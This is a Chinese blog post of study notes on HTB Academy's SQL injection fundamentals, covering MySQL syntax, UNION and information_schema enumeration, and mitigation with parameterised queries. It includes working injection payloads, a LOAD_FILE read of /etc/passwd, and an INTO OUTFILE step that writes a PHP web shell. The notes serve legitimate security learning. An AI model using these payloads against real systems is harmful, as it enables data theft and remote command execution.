空想网安の乌托邦
首页小说读书项目归档照片墙音乐说说杂谈关于
封面

HTB Academy:SQL 注入基础

写作时间:2026-09-20 23:30:07
# 网安
# HTB Academy

来源:Hack The Box Academy,Module 33。本文是按知识链路重新组织的学习笔记,并非网页逐句搬运。所有测试仅用于明确授权的实验环境。

​

 

‍SQL 注入基础课程封面

​

0. 本章知识地图

  1. 理解数据库、DBMS、关系型数据库和 MySQL。
  2. 掌握完成注入所需的 SQL 查询、筛选、排序与运算符。
  3. 判断用户输入能否改变后端查询结构。
  4. 使用布尔逻辑、注释和 ​UNION​ 控制查询。
  5. 枚举数据库、表、列和数据。
  6. 在权限与配置允许时读取或写入服务器文件。
  7. 通过参数化查询、最小权限等措施修复 SQL 注入。

1. Introduction:SQL 注入是什么

现代 Web 应用通常采用三层结构:客户端负责交互,应用服务器处理业务逻辑,数据库保存和检索数据。

​

 

‍三层 Web 应用架构

​

当应用把不可信输入直接拼接进 SQL 语句时,输入可能不再只是“数据”,而会成为查询语法的一部分。攻击者由此可以改变查询逻辑,造成认证绕过、敏感数据泄露,甚至在特定权限和配置下读写服务器文件。

核心判断

用户输入 → 应用拼接 SQL → DBMS 解析并执行
                ↑
      若输入能改变 SQL 结构,就可能存在 SQLi

SQL 注入成立通常同时需要:

  • 输入最终进入数据库查询;
  • 应用未正确使用参数化查询;
  • 输入可改变原查询的语法或逻辑;
  • 数据库账户拥有可被滥用的权限。

2. Intro to Databases:数据库与 DBMS

数据库是结构化保存数据的集合;DBMS(数据库管理系统)是创建、查询、修改、控制数据库的软件。应用一般不会直接操作磁盘文件,而是向 DBMS 发出查询。

常见能力

  • 创建和管理数据库、表与记录;
  • 通过查询检索、插入、更新和删除数据;
  • 管理用户、权限、事务和并发访问;
  • 保证数据完整性并提供备份恢复能力。

SQL 的角色

SQL 是关系型数据库常用的声明式语言。使用者描述“要什么数据”,DBMS 决定具体执行方式。SQLi 的学习重点不是记忆所有语法,而是理解一条查询如何被输入改变。


3. Types of Databases:数据库类型

关系型数据库

数据保存在表中,表由行和列组成;表之间通过键建立关系。关系型数据库通常具有固定模式,并使用 SQL 操作数据。

  • 主键:唯一标识一条记录。
  • 外键:引用另一张表中的记录,建立关系。
  • 常见产品:MySQL、MariaDB、Microsoft SQL Server、Oracle、PostgreSQL。

非关系型数据库(NoSQL)

数据不一定以关系表保存,可采用文档、键值、宽列或图结构。它们的查询方式和注入形式可能不同,本章主要讨论 MySQL 风格的关系型数据库与 SQL 注入。

对渗透测试的意义

首先识别后端数据库类型,因为注释符、系统表、函数和文件操作语法会因 DBMS 而异。不能把某一数据库的语法机械套用到另一种数据库。


4. Intro to MySQL:首次连接与基础配置

MySQL 是客户端/服务器架构。开始前需要:

  • MySQL 客户端程序;
  • 可访问的 MySQL 主机和端口(默认 TCP 3306);
  • 合法用户名及密码,或实验环境提供的凭据;
  • 网络路径和数据库授权均允许连接。

首次连接

# 本机连接,交互式输入密码
mysql -u root -p

# 远程连接
mysql -u <user> -p -h <host> -P 3306

不建议在命令行直接写密码,因为它可能进入 shell 历史或进程列表。

连接后的环境确认

SELECT VERSION();
SELECT USER();
SHOW DATABASES;

结果分别用于确认数据库版本、当前身份和可见数据库。退出客户端可使用:

exit

5. SQL Statements:数据定义与增删改查

数据库和表

CREATE DATABASE employees;
SHOW DATABASES;
USE employees;

CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    PRIMARY KEY (id)
);

SHOW TABLES;
DESCRIBE users;

插入和查询

INSERT INTO users (username, password)
VALUES ('admin', 'password123');

SELECT * FROM users;
SELECT username, password FROM users;

更新和删除

UPDATE users
SET password = 'new_password'
WHERE username = 'admin';

DELETE FROM users
WHERE username = 'admin';

修改结构与删除对象

ALTER TABLE users ADD email VARCHAR(100);
DROP TABLE users;
DROP DATABASE employees;

注意:没有 ​WHERE​ 的 ​UPDATE​ 或 ​DELETE​ 会影响整张表;​DROP​ 会删除整个对象。在实验中也应先确认作用范围。


6. Query Results:控制查询结果

排序 ​ORDER BY​

SELECT * FROM users ORDER BY id ASC;
SELECT * FROM users ORDER BY id DESC;

在 UNION 注入中,​ORDER BY n​ 还可用来推断原查询列数:当序号超过列数时,查询通常报错。

限制结果 ​LIMIT​

SELECT * FROM users LIMIT 2;
SELECT * FROM users LIMIT 1, 2;

第二条表示跳过 1 行后取 2 行,适合逐条观察结果。

条件筛选 ​WHERE​

SELECT * FROM users WHERE id = 1;
SELECT * FROM users WHERE username = 'admin';

模式匹配 ​LIKE​

SELECT * FROM users WHERE username LIKE 'adm%';
SELECT * FROM users WHERE username LIKE 'user_';
  • ​%​:任意长度字符;
  • ​_​:恰好一个字符。

7. SQL Operators:运算符和优先级

常用运算符

类型 示例 含义 比较 ​=​, ​!=​, ​<​, ​>​, ​<=​, ​>=​ 比较两侧值 逻辑 ​AND​, ​OR​, ​NOT​ 组合或反转条件 算术 ​+​, ​-​, ​*​, ​/​, ​%​ 数值运算 位运算 ​&​, ​, ​^​, ​~​, ​<<​, ​>>

优先级为何重要

​AND​ 通常先于 ​OR​ 求值。分析认证查询时,应把逻辑表达式加上括号再判断:

username = 'admin' OR ('1' = '1' AND password = 'x')

注入是否成功不仅取决于某个条件为真,还取决于运算符优先级、字符串是否正确闭合,以及原查询剩余部分是否被处理。


8. Intro to SQL Injections:发现注入点

典型不安全代码思路

SELECT * FROM users
WHERE username = '<用户输入>' AND password = '<用户输入>';

如果应用直接拼接输入,单引号可能提前结束字符串,从而让后续输入被当作 SQL。

初步探测字符

'
"
#
-- -
)

观察重点:

  • 是否出现数据库语法错误;
  • 页面内容、状态码或响应长度是否变化;
  • 真条件和假条件是否导致不同结果;
  • 输入进入数字、字符串还是括号上下文。

报错并非唯一证据;应用也可能隐藏错误。应通过成对条件验证,例如一个恒真条件与一个恒假条件产生稳定差异。


9. Subverting Query Logic:改变认证逻辑

目标是让 ​WHERE​ 条件在不知道密码时仍为真。例如在授权实验中,用户名输入:

admin' OR '1'='1' -- -

概念上可把查询变成:

SELECT * FROM users
WHERE username = 'admin' OR '1'='1' -- -' AND password = '...';

​'1'='1'​ 为真,注释截断后续密码判断。实际效果取决于查询结构、输入位置、空格、引号及应用如何使用返回结果。

实验方法

  1. 先用正常但错误的凭据建立基线。
  2. 用单引号判断是否影响语法。
  3. 构造恒真与恒假条件进行对比。
  4. 处理剩余引号和语句尾部。
  5. 根据响应判断是否改变了查询逻辑。

10. Using Comments:用注释处理原查询尾部

MySQL 常见注释方式:

# 单行注释
-- 后面必须有空白字符
/* 块注释 */

URL 中 ​#​ 往往表示浏览器片段标识,不会作为请求参数发送,因此需要 URL 编码为 ​%23​。​--​ 在 MySQL 中必须跟空格或控制字符,所以实验中常写成:

-- -

使用场景

  • 注释掉未闭合的引号;
  • 移除原查询中的密码条件;
  • 截断 ​ORDER BY​、​LIMIT​ 等后续语句。

注意:注释只是让最终语句语法完整,并不自动保证前面的逻辑正确。


11. Union Clause:UNION 的基础规则

​UNION​ 把多个 ​SELECT​ 的结果合并为一个结果集:

SELECT id, username FROM users
UNION
SELECT id, name FROM products;

必须满足:

  • 两侧返回相同列数;
  • 对应位置的数据类型兼容;
  • 最终显示的列由原页面渲染逻辑决定。

​UNION​ 默认去重;​UNION ALL​ 保留重复行。注入时通常先用数字或 ​NULL​ 作为占位值:

UNION SELECT 1,2,3,4
UNION SELECT NULL,NULL,NULL,NULL

12. Union Injection:确定列数与可见列

方法一:递增 ​ORDER BY​

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

一直增加序号;第一个报错的序号减一,通常就是列数。

方法二:逐步增加 UNION 列

' UNION SELECT 1-- -
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -

直到查询不再因列数不匹配而失败。

定位页面会显示的列

' UNION SELECT 1,2,3,4-- -

观察页面出现哪个标记数字;只有被渲染的列适合直接回显数据库内容。例如第二列可见时:

' UNION SELECT 1,@@version,3,4-- -

排错顺序:先确认引号和注释,再确认列数,然后处理类型兼容,最后确认哪一列可见。


13. Database Enumeration:枚举数据库结构

基础环境信息

SELECT @@version;
SELECT USER();
SELECT DATABASE();
SELECT @@datadir;

​information_schema​

MySQL 使用 ​information_schema​ 保存数据库元数据:

  • ​schemata​:数据库列表,重点列 ​schema_name​;
  • ​tables​:表列表,重点列 ​table_schema​、​table_name​;
  • ​columns​:列列表,重点列 ​table_schema​、​table_name​、​column_name​。

标准枚举链路

-- 1. 数据库
SELECT schema_name
FROM information_schema.schemata;

-- 2. 指定数据库的表
SELECT table_name
FROM information_schema.tables
WHERE table_schema = '目标数据库';

-- 3. 指定表的列
SELECT column_name
FROM information_schema.columns
WHERE table_schema = '目标数据库'
  AND table_name = '目标表';

-- 4. 读取目标数据
SELECT username, password
FROM 目标数据库.目标表;

UNION 场景示例

假设原查询有四列且第二列可见:

' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -

将多列压入一个可见位置:

CONCAT(username, ':', password)

完整思路是“确认 DBMS → 当前身份/数据库 → 数据库名 → 表名 → 列名 → 目标记录”,不要在未知结构下盲猜。


14. Reading Files:读取服务器文件

MySQL 的 ​LOAD_FILE()​ 可在条件满足时读取数据库服务器本机文件:

SELECT LOAD_FILE('/etc/passwd');

UNION 回显示例(第二列可见):

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -

前置条件

  • 当前数据库用户具有全局 ​FILE​ 权限;
  • MySQL 服务进程对目标文件有操作系统读取权限;
  • 路径是数据库服务器上的绝对路径,而非攻击机路径;
  • ​secure_file_priv​ 等配置没有禁止该操作;
  • 文件内容能通过某个可见列返回。

检查权限

SELECT grantee, privilege_type
FROM information_schema.user_privileges
WHERE grantee = "'root'@'localhost'";

读取失败不等于没有 SQLi,常见原因还包括路径错误、权限不足、配置限制或页面无法显示长文本。


15. Writing Files:写入服务器文件

MySQL 可通过 ​INTO OUTFILE​ 把查询结果写到服务器文件系统:

SELECT 'test' INTO OUTFILE '/tmp/test.txt';

前置条件

  • 数据库用户具有 ​FILE​ 权限;
  • ​secure_file_priv​ 为空或允许目标目录;
  • MySQL 服务账户对目录有写权限;
  • 目标文件通常不能已存在;
  • 已知 Web 根目录时,文件才可能通过 Web 访问;
  • 若写入服务端脚本,Web 服务器还必须解释对应脚本类型。

检查可写目录限制

SELECT @@secure_file_priv;

在明确授权的实验环境中,课程使用写入简单服务器端脚本来验证影响,例如:

SELECT '<?php system($_REQUEST[0]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

这个步骤的价值是证明“数据库注入”可能跨越到“服务器命令执行”,但它高度依赖权限和部署结构。实际评估应采用最小影响的验证方式,并在完成后清理测试文件。


16. Mitigating SQL Injection:防御与修复

首选方案:参数化查询

把 SQL 结构与用户数据分离,由数据库驱动安全绑定参数。PHP MySQLi 示例:

$stmt = $conn->prepare(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

参数化查询的关键不是简单转义特殊字符,而是让输入始终被当作值处理,不能成为 SQL 关键字或结构。

纵深防御

  • 服务端输入验证:对枚举值、数字、长度和格式采用允许列表。
  • 最小权限:Web 应用账户只授予业务必需权限,避免 ​FILE​、管理权限及跨库访问。
  • 安全错误处理:向用户返回通用错误,把详细错误记录在受保护日志中。
  • 安全设计:避免动态拼接表名、列名和排序关键字;必须动态化时使用严格映射。
  • WAF:只能作为补充控制,不能代替代码修复。
  • 密码安全:使用专用密码哈希算法保存密码,不能依赖数据库查询隐藏明文。

容易失败的“修复”

  • 只删除单引号;
  • 只依赖客户端校验;
  • 维护一份注入关键字黑名单;
  • 仅隐藏数据库错误;
  • 认为 ORM 会自动消除所有原生 SQL 风险。

17. Skills Assessment:评估题通用工作流

技能评估的重点是独立串联本章方法,而不是机械尝试 payload。

阶段一:建立基线

  1. 浏览应用功能,定位可能进入数据库的参数。
  2. 记录正常请求、错误请求和页面响应差异。
  3. 判断输入处于字符串、数字还是括号上下文。

阶段二:确认和控制查询

  1. 用引号或括号测试语法影响。
  2. 用恒真/恒假条件验证逻辑可控。
  3. 选择正确注释符处理查询尾部。
  4. 若需要回显数据,确定列数和可见列。

阶段三:结构化枚举

版本/当前用户/当前库
        ↓
数据库列表
        ↓
目标库的表
        ↓
目标表的列
        ↓
目标数据

阶段四:按目标扩大影响

  • 只在题目需要时检查 ​FILE​ 权限;
  • 先查询 ​@@secure_file_priv​,再判断文件操作是否可行;
  • 区分 SQLi 已确认与文件操作受限,避免错误归因;
  • 保存关键请求、payload、响应证据和推理过程。

实验记录模板

## 注入点
- URL/功能:
- 参数:
- 请求方法:
- 输入上下文:字符串 / 数字 / 括号

## 验证
- 基线输入与响应:
- 恒真条件与响应:
- 恒假条件与响应:
- 使用的注释方式:

## UNION
- 列数:
- 可见列:
- 类型限制:

## 枚举结果
- DBMS/版本:
- 当前用户:
- 当前数据库:
- 数据库 → 表 → 列:

## 权限与配置
- FILE 权限:
- secure_file_priv:
- 文件读写验证:

速查表

目的 MySQL 表达式/方法 结果解释 当前版本 ​@@version​ / ​VERSION()​ 辅助确认 DBMS 和版本 当前身份 ​USER()​ 判断数据库权限主体 当前数据库 ​DATABASE()​ 确定默认查询范围 数据目录 ​@@datadir​ 理解服务器数据库路径 列数 ​ORDER BY n​ 首个错误序号减一 可见列 ​UNION SELECT 1,2,...​ 页面显示的标记列可用于回显 数据库列表 ​information_schema.schemata​ 读取 ​schema_name​ 表列表 ​information_schema.tables​ 按 ​table_schema​ 过滤 列列表 ​information_schema.columns​ 按库名和表名过滤 合并字段 ​CONCAT(a,':',b)​ 多个值放入一个可见列 读文件 ​LOAD_FILE('/abs/path')​ 需要权限、路径和配置支持 写文件 ​INTO OUTFILE​ 需要 FILE、可写目录和配置支持 文件目录限制 ​@@secure_file_priv​ 判断允许的导入/导出目录

常见故障排查

现象 优先检查 单引号后直接报错 输入上下文、闭合方式、尾部注释 ​--​ 未注释成功 MySQL 的 ​--​ 后是否有空格;尝试 ​-- -​ URL 中 ​#​ 无效 是否编码为 ​%23​ UNION 一直报错 列数、数据类型、括号和原查询尾部 UNION 成功但页面无数据 选中的列是否由页面渲染 ​LOAD_FILE()​ 返回 ​NULL​ FILE 权限、绝对路径、OS 权限、​secure_file_priv​ ​INTO OUTFILE​ 失败 文件是否已存在、目录权限、FILE 权限、允许目录 SQLi 可用但无法读写文件 正常现象;数据库权限与 SQLi 是否存在是两个问题

最终记忆框架

发现输入点
  → 判断上下文并确认 SQLi
  → 用注释稳定语法
  → 用 ORDER BY / UNION 确定列结构
  → 枚举 information_schema
  → 提取目标数据
  → 检查 FILE 与 secure_file_priv(仅在需要时)
  → 以参数化查询 + 最小权限修复

最重要的思路是:先证明输入能够改变查询,再按数据库的元数据结构有序枚举。报错、回显、认证绕过和文件操作只是不同影响层级,不能混为一谈。

avatar

Zybaxy918039

书本,学术,网安之间反复横跳的业余爱好者,目前在自学计算机网络和AI相关知识

RECOMMENDED

HTB Academy:使用 Nmap 进行网络枚举

2026-09-19 22:17:09

HTB Academy:信息收集-网络版(Web Reconnaissance)学习笔记

2026-09-19 22:22:34

HTB Academy:Footprinting(足迹收集)

2026-09-20 12:23:20

Table of Contents